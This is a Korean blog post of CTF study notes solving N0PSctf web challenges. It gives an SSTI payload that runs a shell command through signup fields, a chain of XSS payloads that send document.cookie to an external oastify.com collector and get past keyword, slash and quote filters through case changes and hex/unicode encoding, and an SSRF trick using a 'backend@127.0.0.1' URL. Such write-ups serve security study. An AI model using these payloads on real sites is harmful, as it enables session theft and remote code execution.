본문 바로가기

N0PSctf-web-공부

Casin0ps

닉네임과 이메일이 csv export시 그대로 엑셀에 담기기에 회원가입시 SSTI구문을 이용하면 rce가 가능하여 플래그 획득

닉네임:test{{
이메일:request.application.__globals__.__builtins__.__import__('subprocess').getoutput('cat .passwd')}}

Press Me If U Can

버튼누르면 플래그획득, 크롬 개발자도구 콘솔창을 이용해 해당 버튼을 disable되어있던걸 활성화해주고 클릭하면획득

 

XSS Lab

1단계 기본적인 xss

<script>location.href="http://1y0hajpz25sppwaq3a5yfu0uyl4cs2gr.oastify.com/"+document.cookie</script>

 

2단계 <script> 문자열필터 img태그로 뚝딱

<img src=x onerror='location.href="http://1y0hajpz25sppwaq3a5yfu0uyl4cs2gr.oastify.com/"+document.cookie'/>

 

3단계

 

  • :// 차단 (일반 URL 차단)
  • script 키워드 차단
  • 모든 on*= 이벤트 핸들러 차단

이므로 //을 통해 자동으로 가게 해주고, script는 2단계 활용, on필터정규식은 대소문자 구분x이므로 대문자활용

 

<img src=x OnError='location.href="//1y0hajpz25sppwaq3a5yfu0uyl4cs2gr.oastify.com/"+document.cookie'/>

 

4단계

 

  • 슬래시 (/)
  • 따옴표 (", ', `)
  • document, cookie 키워드
  • + 기호
  • 이벤트 핸들러
  • script 태그

차단하므로

document.cookie 문자는 유니코드로 변환

url의경우 16진수값으로

onerror="" 처리대신 onerror=location=url식으로 변환후 처리

+기호의 경우 concat함수로 문자열 붙이기 대체

 

(16진수값은 문자열내에서 처리, 유니코드는 javascript단에서 처리)

 

 

<img src=x onerror=location='\x2F\x2F\x31\x79\x30\x68\x61\x6A\x70\x7A\x32\x35\x73\x70\x70\x77\x61\x71\x33\x61\x35\x79\x66\x75\x30\x75\x79\x6C\x34\x63\x73\x32\x67\x72\x2E\x6F\x61\x73\x74\x69\x66\x79\x2E\x63\x6F\x6D\x2F'.concat(window.\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074.\u0063\u006F\u006F\u006B\u0069\u0065)>

 

Blog

'"`{%00;$Foo}

blog파라미터를 통해 데이터를 불러오는데 해당 테스트데이터 입력시 에러메시지 노출

 

blog[]=123

 다음처럼 배열로 변환시 에러노출되면서 http로 시작해야되는것을 알게되고 ssrf시작

 

http://127.0.0.1

입력시 backend가 붙어야한다 리턴

 

http://backend@127.0.0.1

시 문제 홈페이지 코드노출

http://backend@127.0.0.1:8080

다음과같이 8080포트로 요청시 플래그획득

'' 카테고리의 다른 글

Breach CTF-web-Framework Follies  (0) 2025.04.11
nodejs로 파일 업로드 필터링 우회 방법  (0) 2025.04.09
dicectf-web-공부  (0) 2025.04.08
Codegate2025-공부  (0) 2025.04.02
codegate 2025-Masquerade  (0) 2025.03.30